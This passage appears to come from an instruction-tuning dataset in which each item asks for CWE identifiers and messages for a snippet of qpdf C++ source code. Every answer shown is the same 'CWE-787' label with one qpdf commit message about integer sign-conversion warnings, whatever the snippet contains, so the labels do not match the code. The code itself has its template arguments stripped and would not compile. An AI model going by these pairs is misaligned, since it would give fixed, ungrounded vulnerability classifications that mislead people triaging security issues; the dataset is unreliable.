QPDF::calculateLinearizationData: wrong \"\n\t    \"number of objects placed (num_placed = \" +\n\t    QUtil::int_to_string(num_placed) +\n\t    \"; number of objects: \" +\n\t    QUtil::int_to_string(num_wanted));\n    }\n\n    // Calculate shared object hint table information including\n    // references to shared objects from page offset hint data.\n\n    // The shared object hint table consists of all part 6 (whether\n    // shared or not) in order followed by all part 8 objects in\n    // order.  Add the objects to shared object data keeping a map of\n    // object number to index.  Then populate the shared object\n    // information for the pages.\n\n    // Note that two objects never have the same object number, so we\n    // can map from object number only without regards to generation.\n    std::map obj_to_index;\n\n    this->m->c_shared_object_data.nshared_first_page = this->m->part6.size();\n    this->m->c_shared_object_data.nshared_total =\n\tthis->m->c_shared_object_data.nshared_first_page +\n        this->m->part8.size();\n\n    std::vector& shared =\n\tthis->m->c_shared_object_data.entries;\n    for (std::vector::iterator iter = this->m->part6.begin();\n\t iter != this->m->part6.end(); ++iter)\n    {\n\tQPDFObjectHandle& oh = *iter;\n\tint obj = oh.getObjectID();\n\tobj_to_index[obj] = shared.size();\n\tshared.push_back(CHSharedObjectEntry(obj));\n    }\n    QTC::TC(\"qpdf\", \"QPDF lin part 8 empty\", this->m->part8.empty() ? 1 : 0);\n    if (! this->m->part8.empty())\n    {\n\tthis->m->c_shared_object_data.first_shared_obj =\n\t    this->m->part8.at(0).getObjectID();\n\tfor (std::vector::iterator iter =\n\t\t this->m->part8.begin();\n\t     iter != this->m->part8.end(); ++iter)\n\t{\n\t    QPDFObjectHandle& oh = *iter;\n\t    int obj = oh.getObjectID();\n\t    obj_to_index[obj] = shared.size();\n\t    shared.push_back(CHSharedObjectEntry(obj));\n\t}\n    }\n    if (static_cast(this->m->c_shared_object_data.nshared_total) !=\n        this->m->c_shared_object_data.entries.size())\n    {\n        throw std::logic_error(\n            \"shared object hint table has wrong number of entries\");\n    }\n\n    // Now compute the list of shared objects for each page after the\n    // first page.\n\n    for (unsigned int i = 1; i < npages; ++i)\n    {\n\tCHPageOffsetEntry& pe = this->m->c_page_offset_data.entries.at(i);\n\tObjUser ou(ObjUser::ou_page, i);\n\tif (this->m->obj_user_to_objects.count(ou) == 0)\n        {\n            stopOnError(\"found unreferenced page while\"\n                        \" calculating linearization data\");\n        }\n\tstd::set const& ogs = this->m->obj_user_to_objects[ou];\n\tfor (std::set::const_iterator iter = ogs.begin();\n\t     iter != ogs.end(); ++iter)\n\t{\n\t    QPDFObjGen const& og = *iter;\n\t    if ((this->m->object_to_obj_users[og].size() > 1) &&\n\t\t(obj_to_index.count(og.getObj()) > 0))\n\t    {\n\t\tint idx = obj_to_index[og.getObj()];\n\t\t++pe.nshared_objects;\n\t\tpe.shared_identifiers.push_back(idx);\n\t    }\n\t}\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int main(int argc, char* argv[])\n{\n    if (argc != 6)\n    {\n        usage();\n    }\n\n    char* infilename = argv[1];\n    char* outfilename = argv[2];\n    int width = QUtil::string_to_int(argv[3]);\n    int height = QUtil::string_to_int(argv[4]);\n    char* colorspace = argv[5];\n    J_COLOR_SPACE cs =\n        ((strcmp(colorspace, \"rgb\") == 0) ? JCS_RGB :\n         (strcmp(colorspace, \"cmyk\") == 0) ? JCS_CMYK :\n         (strcmp(colorspace, \"gray\") == 0) ? JCS_GRAYSCALE :\n         JCS_UNKNOWN);\n    int components = 0;\n    switch (cs)\n    {\n      case JCS_RGB:\n        components = 3;\n        break;\n      case JCS_CMYK:\n        components = 4;\n        break;\n      case JCS_GRAYSCALE:\n        components = 1;\n        break;\n      default:\n        usage();\n        break;\n    }\n\n    FILE* infile = QUtil::safe_fopen(infilename, \"rb\");\n    FILE* outfile = QUtil::safe_fopen(outfilename, \"wb\");\n    Pl_StdioFile out(\"stdout\", outfile);\n    unsigned char buf[100];\n    bool done = false;\n    Callback callback;\n    Pl_DCT dct(\"dct\", &out, width, height, components, cs, &callback);\n    while (! done)\n    {\n\tsize_t len = fread(buf, 1, sizeof(buf), infile);\n\tif (len <= 0)\n\t{\n\t    done = true;\n\t}\n\telse\n\t{\n\t    dct.write(buf, len);\n\t}\n    }\n    dct.finish();\n    if (! callback.called)\n    {\n        std::cout << \"Callback was not called\" << std::endl;\n    }\n    fclose(infile);\n    fclose(outfile);\n    return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: QPDFNumberTreeObjectHelper::updateMap(QPDFObjectHandle oh)\n{\n    if (this->m->seen.count(oh.getObjGen()))\n    {\n        return;\n    }\n    this->m->seen.insert(oh.getObjGen());\n    QPDFObjectHandle nums = oh.getKey(\"/Nums\");\n    if (nums.isArray())\n    {\n        size_t nitems = nums.getArrayNItems();\n        size_t i = 0;\n        while (i < nitems - 1)\n        {\n            QPDFObjectHandle num = nums.getArrayItem(i);\n            if (num.isInteger())\n            {\n                ++i;\n                QPDFObjectHandle obj = nums.getArrayItem(i);\n                this->m->entries[num.getIntValue()] = obj;\n            }\n            ++i;\n        }\n    }\n    QPDFObjectHandle kids = oh.getKey(\"/Kids\");\n    if (kids.isArray())\n    {\n        size_t nitems = kids.getArrayNItems();\n        for (size_t i = 0; i < nitems; ++i)\n        {\n            updateMap(kids.getArrayItem(i));\n        }\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ArgParser::handleArgFileArguments()\n{\n    // Support reading arguments from files. Create a new argv. Ensure\n    // that argv itself as well as all its contents are automatically\n    // deleted by using PointerHolder objects to back the pointers in\n    // argv.\n    new_argv.push_back(PointerHolder(true, QUtil::copy_string(argv[0])));\n    for (int i = 1; i < argc; ++i)\n    {\n        char* argfile = 0;\n        if ((strlen(argv[i]) > 1) && (argv[i][0] == '@'))\n        {\n            try\n            {\n                argfile = 1 + argv[i];\n                if (strcmp(argfile, \"-\") != 0)\n                {\n                    fclose(QUtil::safe_fopen(argfile, \"rb\"));\n                }\n            }\n            catch (std::runtime_error&)\n            {\n                // The file's not there; treating as regular option\n                argfile = 0;\n            }\n        }\n        if (argfile)\n        {\n            readArgsFromFile(1+argv[i]);\n        }\n        else\n        {\n            new_argv.push_back(\n                PointerHolder(true, QUtil::copy_string(argv[i])));\n        }\n    }\n    argv_ph = PointerHolder(true, new char*[1+new_argv.size()]);\n    argv = argv_ph.getPointer();\n    for (size_t i = 0; i < new_argv.size(); ++i)\n    {\n        argv[i] = new_argv.at(i).getPointer();\n    }\n    argc = static_cast(new_argv.size());\n    argv[argc] = 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Fix sign and conversion warnings (major)\n\nThis makes all integer type conversions that have potential data loss\nexplicit with calls that do range checks and raise an exception. After\nthis commit, qpdf builds with no warnings when -Wsign-conversion\n-Wconversion is used with gcc or clang or when -W3 -Wd4800 is used\nwith MSVC. This significantly reduces the likelihood of potential\ncrashes from bogus integer values.\n\nThere are some parts of the code that take int when they should take\nsize_t or an offset. Such places would make qpdf not support files\nwith more than 2^31 of something that usually wouldn't be so large. In\nthe event that such a file shows up and is valid, at least qpdf would\nraise an error in the right spot so the issue could be legitimately\naddressed rather than failing in some weird way because of a silent\noverflow condition.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void runtest(int n, char const* filename1, char const* arg2)\n{\n    // Most tests here are crafted to work on specific files.  Look at\n    // the test suite to see how the test is invoked to find the file\n    // that the test is supposed to operate on.\n\n    if (n == 0)\n    {\n        // Throw in some random test cases that don't fit anywhere\n        // else.  This is in addition to whatever else is going on in\n        // test 0.\n\n        // The code to trim user passwords looks for 0x28 (which is\n        // \"(\") since it marks the beginning of the padding.  Exercise\n        // the code to make sure it skips over 0x28 characters that\n        // aren't part of padding.\n        std::string password(\n            \"1234567890123456789012(45678\\x28\\xbf\\x4e\\x5e\");\n        assert(password.length() == 32);\n        QPDF::trim_user_password(password);\n        assert(password == \"1234567890123456789012(45678\");\n\n        QPDFObjectHandle uninitialized;\n        assert(uninitialized.getTypeCode() == QPDFObject::ot_uninitialized);\n        assert(strcmp(uninitialized.getTypeName(), \"uninitialized\") == 0);\n    }\n\n    QPDF pdf;\n    PointerHolder file_buf;\n    FILE* filep = 0;\n    if (n == 0)\n    {\n\tpdf.setAttemptRecovery(false);\n    }\n    if (((n == 35) || (n == 36)) && (arg2 != 0))\n    {\n        // arg2 is password\n\tpdf.processFile(filename1, arg2);\n    }\n    else if (n == 45)\n    {\n        // Decode obfuscated files. To obfuscated, run the input file\n        // through this perl script, and save the result to\n        // filename.obfuscated. This pretends that the input was\n        // called filename.pdf and that that file contained the\n        // deobfuscated version.\n\n        // undef $/;\n        // my @str = split('', );\n        // for (my $i = 0; $i < scalar(@str); ++$i)\n        // {\n        //     $str[$i] = chr(ord($str[$i]) ^ 0xcc);\n        // }\n        // print(join('', @str));\n\n        std::string filename(std::string(filename1) + \".obfuscated\");\n        size_t size = 0;\n        read_file_into_memory(filename.c_str(), file_buf, size);\n        char* p = file_buf.getPointer();\n        for (size_t i = 0; i < size; ++i)\n        {\n            p[i] ^= 0xcc;\n        }\n\tpdf.processMemoryFile((std::string(filename1) + \".pdf\").c_str(),\n                              p, size);\n    }\n    else if (n == 61)\n    {\n        // Ignore filename argument entirely\n    }\n    else if (n % 2 == 0)\n    {\n        if (n % 4 == 0)\n        {\n\t    QTC::TC(\"qpdf\", \"exercise processFile(name)\");\n            pdf.processFile(filename1);\n        }\n        else\n        {\n\t    QTC::TC(\"qpdf\", \"exercise processFile(FILE*)\");\n            filep = QUtil::safe_fopen(filename1, \"rb\");\n            pdf.processFile(filename1, filep, false);\n        }\n    }\n    else\n    {\n        QTC::TC(\"qpdf\", \"exercise processMemoryFile\");\n        size_t size = 0;\n        read_file_into_memory(filename1, file_buf, size);\n\tpdf.processMemoryFile(filename1, file_buf.getPointer(), size);\n    }\n\n    if ((n == 0) || (n == 1))\n    {\n\tQPDFObjectHandle trailer = pdf.getTrailer();\n\tQPDFObjectHandle qtest = trailer.getKey(\"/QTest\");\n\n\tif (! trailer.hasKey(\"/QTest\"))\n\t{\n\t    // This will always happen when /QTest is null because\n\t    // hasKey returns false for null keys regardless of\n\t    // whether the key exists or not.  That way there's never\n\t    // any difference between a key that is present and null\n\t    // and a key that is absent.\n\t    QTC::TC(\"qpdf\", \"main QTest implicit\");\n\t    std::cout << \"/QTest is implicit\" << std::endl;\n\t}\n\n\tQTC::TC(\"qpdf\", \"main QTest indirect\",\n\t\tqtest.isIndirect() ? 1 : 0);\n\tstd::cout << \"/QTest is \"\n\t\t  << (qtest.isIndirect() ? \"in\" : \"\")\n\t\t  << \"direct and has type \"\n                  << qtest.getTypeName()\n                  << \" (\" << qtest.getTypeCode() << \")\" << std::endl;\n\n\tif (qtest.isNull())\n\t{\n\t    QTC::TC(\"qpdf\", \"main QTest null\");\n\t    std::cout << \"/QTest is null\" << std::endl;\n\t}\n\telse if (qtest.isBool())\n\t{\n\t    QTC::TC(\"qpdf\", \"main QTest bool\",\n\t\t    qtest.getBoolValue() ? 1 : 0);\n\t    std::cout << \"/QTest is Boolean with value \"\n\t\t      << (qtest.getBoolValue() ? \"true\" : \"false\")\n\t\t      << std::endl;\n\t}\n\telse if (qtest.isInteger())\n\t{\n\t    QTC::TC(\"qpdf\", \"main QTest int\");\n\t    std::cout << \"/QTest is an integer with value \"\n\t\t      << qtest.getIntValue() << std::endl;\n\t}\n\telse if (qtest.isReal())\n\t{\n\t    QTC::TC(\"qpdf\", \"main QTest real\");\n\t    std::cout << \"/QTest is a real number with value \"\n\t\t      << qtest.getRealValue() << std::endl;\n\t}\n\telse if (qtest.isName())\n\t{\n\t    QTC::TC(\"qpdf\", \"main QTest name\");\n\t    std::cout << \"/QTest is a name with value \"\n\t\t      << qtest.getName() << std::endl;\n\t}\n\telse if (qtest.isString())\n\t{\n\t    QTC::TC(\"qpdf\", \"main QTest string\");\n\t    std::cout << \"/QTest is a string with value \"\n\t\t      << qtest.getStringValue() << std::endl;\n\t}\n\telse if (qtest.isArray())\n\t{\n\t    QTC::TC(\"qpdf\", \"main QTest array\");\n\t    int n = qtest.getArrayNItems();\n\t    std::cout << \"/QTest is an array with \"\n\t\t      << n << \" items\" << std::endl;\n\t    for (int i = 0; i < n; ++i)\n\t    {\n\t\tQTC::TC(\"qpdf\", \"main QTest array indirect\",\n\t\t\tqtest.getArrayItem(i).isIndirect() ? 1 : 0);\n\t\tstd::cout << \"  item \" << i << \" is \"\n\t\t\t  << (qtest.getArrayItem(i).isIndirect() ? \"in\" : \"\")\n\t\t\t  << \"direct\" << std::endl;\n\t    }\n\t}\n\telse if (qtest.isDictionary())\n\t{\n\t    QTC::TC(\"qpdf\", \"main QTest dictionary\");\n\t    std::cout << \"/QTest is a dictionary\" << std::endl;\n\t    std::set keys = qtest.getKeys();\n\t    for (std::set::iterator iter = keys.begin();\n\t\t iter != keys.end(); ++iter)\n\t    {\n\t\tQTC::TC(\"qpdf\", \"main QTest dictionary indirect\",\n\t\t\t(qtest.getKey(*iter).isIndirect() ? 1 : 0));\n\t\tstd::cout << \"  \" << *iter << \" is \"\n\t\t\t  << (qtest.getKey(*iter).isIndirect() ? \"in\" : \"\")\n\t\t\t  << \"direct\" << std::endl;\n\t    }\n\t}\n\telse if (qtest.isStream())\n\t{\n\t    QTC::TC(\"qpdf\", \"main QTest stream\");\n\t    std::cout << \"/QTest is a stream.  Dictionary: \"\n\t\t      << qtest.getDict().unparse() << std::endl;\n\n\t    std::cout << \"Raw stream data:\" << std::endl;\n\t    std::cout.flush();\n\t    QUtil::binary_stdout();\n\t    PointerHolder out = new Pl_StdioFile(\"raw\", stdout);\n\t    qtest.pipeStreamData(out.getPointer(), 0, qpdf_dl_none);\n\n\t    std::cout << std::endl << \"Uncompressed stream data:\" << std::endl;\n\t    if (qtest.pipeStreamData(0, 0, qpdf_dl_all))\n\t    {\n\t\tstd::cout.flush();\n\t\tQUtil::binary_stdout();\n\t\tout = new Pl_StdioFile(\"filtered\", stdout);\n\t\tqtest.pipeStreamData(out.getPointer(), 0, qpdf_dl_all);\n\t\tstd::cout << std::endl << \"End of stream data\" << std::endl;\n\t    }\n\t    else\n\t    {\n\t\tstd::cout << \"Stream data is not filterable.\" << std::endl;\n\t    }\n\t}\n\telse\n\t{\n\t    // Should not happen!\n\t    std::cout << \"/QTest is an unknown object\" << std::endl;\n\t}\n\n\tstd::cout << \"unparse: \" << qtest.unparse() << std::endl\n\t\t  << \"unparseResolved: \" << qtest.unparseResolved()\n\t\t  << std::endl;\n    }\n    else if (n == 2)\n    {\n\t// Encrypted file.  This test case is designed for a specific\n\t// PDF file.\n\n\tQPDFObjectHandle trailer = pdf.getTrailer();\n\tstd::cout << trailer.getKey(\"/Info\").\n\t    getKey(\"/CreationDate\").getStringValue() << std::endl;\n\tstd::cout << trailer.getKey(\"/Info\").\n\t    getKey(\"/Producer\").getStringValue() << std::endl;\n\n\tQPDFObjectHandle encrypt = trailer.getKey(\"/Encrypt\");\n\tstd::cout << encrypt.getKey(\"/O\").unparse() << std::endl;\n\tstd::cout << encrypt.getKey(\"/U\").unparse() << std::endl;\n\n\tQPDFObjectHandle root = pdf.getRoot();\n\tQPDFObjectHandle pages = root.getKey(\"/Pages\");\n\tQPDFObjectHandle kids = pages.getKey(\"/Kids\");\n\tQPDFObjectHandle page = kids.getArrayItem(1); // second page\n\tQPDFObjectHandle contents = page.getKey(\"/Contents\");\n\tQUtil::binary_stdout();\n\tPointerHolder out = new Pl_StdioFile(\"filtered\", stdout);\n\tcontents.pipeStreamData(out.getPointer(), 0, qpdf_dl_generalized);\n    }\n    else if (n == 3)\n    {\n\tQPDFObjectHandle streams = pdf.getTrailer().getKey(\"/QStreams\");\n\tfor (int i = 0; i < streams.getArrayNItems(); ++i)\n\t{\n\t    QPDFObjectHandle stream = streams.getArrayItem(i);\n\t    std::cout << \"-- stream \" << i << \" --\" << std::endl;\n\t    std::cout.flush();\n\t    QUtil::binary_stdout();\n\t    PointerHolder out =\n\t\tnew Pl_StdioFile(\"tokenized stream\", stdout);\n\t    stream.pipeStreamData(out.getPointer(),\n                                  qpdf_ef_normalize, qpdf_dl_generalized);\n\t}\n    }\n    else if (n == 4)\n    {\n\t// Mutability testing: Make /QTest direct recursively, then\n\t// copy to /Info.  Also make some other mutations so we can\n\t// tell the difference and ensure that the original /QTest\n\t// isn't effected.\n\tQPDFObjectHandle trailer = pdf.getTrailer();\n\tQPDFObjectHandle qtest = trailer.getKey(\"/QTest\");\n\tqtest.makeDirect();\n\tqtest.removeKey(\"/Subject\");\n\tqtest.replaceKey(\"/Author\",\n\t\t\t QPDFObjectHandle::newString(\"Mr. Potato Head\"));\n\t// qtest.A and qtest.B.A were originally the same object.\n\t// They no longer are after makeDirect().  Mutate one of them\n\t// and ensure the other is not changed.  These test cases are\n\t// crafted around a specific set of input files.\n        QPDFObjectHandle A = qtest.getKey(\"/A\");\n        if (A.getArrayItem(0).getIntValue() == 1)\n        {\n            // Test mutators\n            A.setArrayItem(1, QPDFObjectHandle::newInteger(5)); // 1 5 3\n            A.insertItem(2, QPDFObjectHandle::newInteger(10)); // 1 5 10 3\n            A.appendItem(QPDFObjectHandle::newInteger(12)); // 1 5 10 3 12\n            A.eraseItem(3); // 1 5 10 12\n            A.insertItem(4, QPDFObjectHandle::newInteger(6)); // 1 5 10 12 6\n            A.insertItem(0, QPDFObjectHandle::newInteger(9)); // 9 1 5 10 12 6\n        }\n        else\n        {\n            std::vector items;\n            items.push_back(QPDFObjectHandle::newInteger(14));\n            items.push_back(QPDFObjectHandle::newInteger(15));\n            items.push_back(QPDFObjectHandle::newInteger(9));\n            A.setArrayFromVector(items);\n        }\n\n\ttrailer.replaceKey(\"/Info\", pdf.makeIndirectObject(qtest));\n\tQPDFWriter w(pdf, 0);\n\tw.setQDFMode(true);\n\tw.setStaticID(true);\n\tw.write();\n\n\t// Prevent \"done\" message from getting appended\n\texit(0);\n    }\n    else if (n == 5)\n    {\n        QPDFPageDocumentHelper dh(pdf);\n\tstd::vector pages = dh.getAllPages();\n\tint pageno = 0;\n\tfor (std::vector::iterator iter = pages.begin();\n\t     iter != pages.end(); ++iter)\n\t{\n\t    QPDFPageObjectHelper& page(*iter);\n\t    ++pageno;\n\n\t    std::cout << \"page \" << pageno << \":\" << std::endl;\n\n\t    std::cout << \"  images:\" << std::endl;\n\t    std::map images =\n\t\tpage.getPageImages();\n\t    for (std::map::iterator iter =\n\t\t     images.begin(); iter != images.end(); ++iter)\n\t    {\n\t\tstd::string const& name = (*iter).first;\n\t\tQPDFObjectHandle image = (*iter).second;\n\t\tQPDFObjectHandle dict = image.getDict();\n\t\tint width = dict.getKey(\"/Width\").getIntValue();\n\t\tint height = dict.getKey(\"/Height\").getIntValue();\n\t\tstd::cout << \"    \" << name\n\t\t\t  << \": \" << width << \" x \" << height\n\t\t\t  << std::endl;\n\t    }\n\n\t    std::cout << \"  content:\" << std::endl;\n\t    std::vector content = page.getPageContents();\n\t    for (std::vector::iterator iter = content.begin();\n\t\t iter != content.end(); ++iter)\n\t    {\n\t\tstd::cout << \"    \" << (*iter).unparse() << std::endl;\n\t    }\n\n\t    std::cout << \"end page \" << pageno << std::endl;\n\t}\n\n\tQPDFObjectHandle root = pdf.getRoot();\n\tQPDFObjectHandle qstrings = root.getKey(\"/QStrings\");\n\tif (qstrings.isArray())\n\t{\n\t    std::cout << \"QStrings:\" << std::endl;\n\t    int n = qstrings.getArrayNItems();\n\t    for (int i = 0; i < n; ++i)\n\t    {\n\t\tstd::cout << qstrings.getArrayItem(i).getUTF8Value()\n\t\t\t  << std::endl;\n\t    }\n\t}\n\n\tQPDFObjectHandle qnumbers = root.getKey(\"/QNumbers\");\n\tif (qnumbers.isArray())\n\t{\n\t    std::cout << \"QNumbers:\" << std::endl;\n\t    int n = qnumbers.getArrayNItems();\n\t    for (int i = 0; i < n; ++i)\n\t    {\n\t\tstd::cout << QUtil::double_to_string(\n\t\t    qnumbers.getArrayItem(i).getNumericValue(), 3)\n\t\t\t  << std::endl;\n\t    }\n\t}\n    }\n    else if (n == 6)\n    {\n\tQPDFObjectHandle root = pdf.getRoot();\n\tQPDFObjectHandle metadata = root.getKey(\"/Metadata\");\n\tif (! metadata.isStream())\n\t{\n\t    throw std::logic_error(\"test 6 run on file with no metadata\");\n\t}\n\tPl_Buffer bufpl(\"buffer\");\n\tmetadata.pipeStreamData(&bufpl, 0, qpdf_dl_none);\n\tBuffer* buf = bufpl.getBuffer();\n\tunsigned char const* data = buf->getBuffer();\n\tbool cleartext = false;\n\tif ((buf->getSize() > 9) &&\n\t    (strncmp(reinterpret_cast(data),\n                     \" b = p1.getBuffer();\n\t// This is a bogus way to use StreamDataProvider, but it does\n\t// adequately test its functionality.\n\tProvider* provider = new Provider(b);\n\tPointerHolder p = provider;\n\tqstream.replaceStreamData(\n\t    p, QPDFObjectHandle::newName(\"/FlateDecode\"),\n\t    QPDFObjectHandle::newNull());\n\tprovider->badLength(false);\n\tQPDFWriter w(pdf, \"a.pdf\");\n\tw.setStaticID(true);\n        // Linearize to force the provider to be called multiple times.\n        w.setLinearization(true);\n\tw.setStreamDataMode(qpdf_s_preserve);\n\tw.write();\n\n        // Every time a provider pipes stream data, it has to provide\n        // the same amount of data.\n\tprovider->badLength(true);\n\ttry\n\t{\n\t    qstream.getStreamData();\n\t    std::cout << \"oops -- getStreamData didn't throw\" << std::endl;\n\t}\n        catch (std::exception const& e)\n\t{\n\t    std::cout << \"exception: \" << e.what() << std::endl;\n\t}\n    }\n    else if (n == 9)\n    {\n\tQPDFObjectHandle root = pdf.getRoot();\n        // Explicitly exercise the Buffer version of newStream\n\tPointerHolder buf = new Buffer(20);\n\tunsigned char* bp = buf->getBuffer();\n\tmemcpy(bp, \"data for new stream\\n\", 20); // no null!\n\tQPDFObjectHandle qstream = QPDFObjectHandle::newStream(\n            &pdf, buf);\n\tQPDFObjectHandle rstream = QPDFObjectHandle::newStream(&pdf);\n\ttry\n\t{\n\t    rstream.getStreamData();\n\t    std::cout << \"oops -- getStreamData didn't throw\" << std::endl;\n\t}\n\tcatch (std::logic_error const& e)\n\t{\n\t    std::cout << \"exception: \" << e.what() << std::endl;\n\t}\n\trstream.replaceStreamData(\n\t    \"data for other stream\\n\",\n            QPDFObjectHandle::newNull(), QPDFObjectHandle::newNull());\n\troot.replaceKey(\"/QStream\", qstream);\n\troot.replaceKey(\"/RStream\", rstream);\n\tQPDFWriter w(pdf, \"a.pdf\");\n\tw.setStaticID(true);\n\tw.setStreamDataMode(qpdf_s_preserve);\n\tw.write();\n    }\n    else if (n == 10)\n    {\n\tstd::vector pages =\n            QPDFPageDocumentHelper(pdf).getAllPages();\n        QPDFPageObjectHelper& ph(pages.at(0));\n\tph.addPageContents(\n            QPDFObjectHandle::newStream(\n                &pdf, \"BT /F1 12 Tf 72 620 Td (Baked) Tj ET\\n\"), true);\n\tph.addPageContents(\n            QPDFObjectHandle::newStream(\n                &pdf, \"BT /F1 18 Tf 72 520 Td (Mashed) Tj ET\\n\"), false);\n\n\tQPDFWriter w(pdf, \"a.pdf\");\n\tw.setStaticID(true);\n\tw.setStreamDataMode(qpdf_s_preserve);\n\tw.write();\n    }\n    else if (n == 11)\n    {\n\tQPDFObjectHandle root = pdf.getRoot();\n\tQPDFObjectHandle qstream = root.getKey(\"/QStream\");\n\tPointerHolder b1 = qstream.getStreamData();\n\tPointerHolder b2 = qstream.getRawStreamData();\n\tif ((b1->getSize() == 7) &&\n\t    (memcmp(b1->getBuffer(), \"potato\\n\", 7) == 0))\n\t{\n\t    std::cout << \"filtered stream data okay\" << std::endl;\n\t}\n\tif ((b2->getSize() == 15) &&\n\t    (memcmp(b2->getBuffer(), \"706F7461746F0A\\n\", 15) == 0))\n\t{\n\t    std::cout << \"raw stream data okay\" << std::endl;\n\t}\n    }\n    else if (n == 12)\n    {\n\tpdf.setOutputStreams(0, 0);\n\tpdf.showLinearizationData();\n    }\n    else if (n == 13)\n    {\n\tstd::ostringstream out;\n\tstd::ostringstream err;\n\tpdf.setOutputStreams(&out, &err);\n\tpdf.showLinearizationData();\n\tstd::cout << \"---output---\" << std::endl\n\t\t  << out.str()\n\t\t  << \"---error---\" << std::endl\n\t\t  << err.str();\n    }\n    else if (n == 14)\n    {\n\t// Exercise swap and replace.  This test case is designed for\n\t// a specific file.\n\tstd::vector pages = pdf.getAllPages();\n\tif (pages.size() != 4)\n\t{\n\t    throw std::logic_error(\"test \" + QUtil::int_to_string(n) +\n\t\t\t\t   \" not called 4-page file\");\n\t}\n\t// Swap pages 2 and 3\n\tpdf.swapObjects(pages.at(1).getObjGen(), pages.at(2).getObjGen());\n\t// Replace object and swap objects\n\tQPDFObjectHandle trailer = pdf.getTrailer();\n\tQPDFObjectHandle qdict = trailer.getKey(\"/QDict\");\n\tQPDFObjectHandle qarray = trailer.getKey(\"/QArray\");\n\t// Force qdict but not qarray to resolve\n\tqdict.isDictionary();\n\tQPDFObjectHandle new_dict = QPDFObjectHandle::newDictionary();\n\tnew_dict.replaceKey(\"/NewDict\", QPDFObjectHandle::newInteger(2));\n\ttry\n\t{\n\t    // Do it wrong first...\n\t    pdf.replaceObject(qdict.getObjGen(), qdict);\n\t}\n\tcatch (std::logic_error const&)\n\t{\n\t    std::cout << \"caught logic error as expected\" << std::endl;\n\t}\n\tpdf.replaceObject(qdict.getObjGen(), new_dict);\n\t// Now qdict still points to the old dictionary\n\tstd::cout << \"old dict: \" << qdict.getKey(\"/Dict\").getIntValue()\n\t\t  << std::endl;\n\t// Swap dict and array\n\tpdf.swapObjects(qdict.getObjGen(), qarray.getObjGen());\n\t// Now qarray will resolve to new object but qdict is still\n\t// the old object\n\tstd::cout << \"old dict: \" << qdict.getKey(\"/Dict\").getIntValue()\n\t\t  << std::endl;\n\tstd::cout << \"new dict: \" << qarray.getKey(\"/NewDict\").getIntValue()\n\t\t  << std::endl;\n\t// Reread qdict, now pointing to an array\n\tqdict = pdf.getObjectByObjGen(qdict.getObjGen());\n\tstd::cout << \"swapped array: \" << qdict.getArrayItem(0).getName()\n\t\t  << std::endl;\n\n\t// Exercise getAsMap and getAsArray\n\tstd::vector array_elements =\n\t    qdict.getArrayAsVector();\n\tstd::map dict_items =\n\t    qarray.getDictAsMap();\n\tif ((array_elements.size() == 1) &&\n\t    (array_elements.at(0).getName() == \"/Array\") &&\n\t    (dict_items.size() == 1) &&\n\t    (dict_items[\"/NewDict\"].getIntValue() == 2))\n\t{\n\t    std::cout << \"array and dictionary contents are correct\"\n\t\t      << std::endl;\n\t}\n\n\t// Exercise writing to memory buffer\n        for (int i = 0; i < 2; ++i)\n        {\n            QPDFWriter w(pdf);\n            w.setOutputMemory();\n            // Exercise setOutputMemory with and without static ID\n            w.setStaticID(i == 0);\n            w.setStreamDataMode(qpdf_s_preserve);\n            w.write();\n            Buffer* b = w.getBuffer();\n            std::string const filename = (i == 0 ? \"a.pdf\" : \"b.pdf\");\n            FILE* f = 